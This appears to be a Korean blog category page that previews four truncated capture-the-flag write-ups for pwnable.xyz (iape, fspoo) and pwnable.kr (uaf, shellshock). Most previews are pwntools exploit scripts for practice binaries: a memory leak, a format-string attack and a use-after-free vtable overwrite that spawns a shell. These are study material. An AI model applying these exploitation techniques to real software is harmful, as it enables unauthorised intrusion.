분류 전체보기 299

pwnable.xyz - iape

from pwn import * p = remote("svc.pwnable.xyz", 30014) # p = process("./challenge") # 0x408 byte 채워야하므로 시간절약 위해 맨처음에 최대한 읽어놓자 p.sendafter("> ", "1") p.sendafter("data: ", 'A'*127) while True: p.sendafter("> ", "2") tmp = p.recvuntil("chars: ") num = int(tmp[8:-8]) if num>=14: p.send("A"*8) break if num!=0: p.send("\x00") p.sendafter("> ", "3") p.recvuntil('A'*135) win_addr = u64(p.recvline()[:-1..

pwnable.xyz - fspoo

# exploit1 from pwn import * p = remote("svc.pwnable.xyz", 30010) # p = process("./challenge") e = ELF("./challenge") def edit_name(name): p.recvuntil("> ") p.sendline("1") # getchar()에서 버퍼 비우므로 개행문자까지 넘김 p.sendafter("Name: ", name) def prep_msg(): p.recvuntil("> ") p.sendline("2") # getchar()에서 버퍼 비우므로 개행문자까지 넘김 def choose(num): p.recvuntil("> ") p.sendline(str(num)) # 7byte(이모지+공백) + 25byte(us..

pwnable.kr - [Toddler's Bottle] uaf

#-*- coding:utf-8 -*- from pwn import * # 원래 chunk에는 Woman(Man)+16 주소 / 나이 / 이름 들어있었음 # Woman(Man)+16 주소에는 give_shell 주소 / introduce 주소 순으로 들어있엇음 # 재할당된 chunk의 첫 8B에 Human(Woman, Man)+8 주소를 덮어쓴다면 # introduce() 함수 대신 give_shell() 함수를 실행할 것임! with open("ha", "w+") as f: f.write(p64(0x401548)+p64(0x401548)+p64(0x401548)) # 0x401568, 0x401588 argvs = ["" for i in range(3)] argvs[1] = "24" argvs[2] =..

pwnable.kr - [Toddler's Bottle] shellshock

#include int main(){ // RealUID, EffectiveUID, SavedSetUID = shellshock_pwn setresuid(getegid(), getegid(), getegid()); // RealGID, EffectiveGID, SavedSetGID = shellshock_pwn setresgid(getegid(), getegid(), getegid()); // 프로그램 안에서 또다른 프로그램(ex. system()) 실행하면 EUID가 아닌 RUID 권한으로 실행된다 system("/home/shellshock/bash -c 'echo shock_me'"); return 0; } -r-xr-xr-x 1 root shellshock 959120 Oct 12 2014 bas..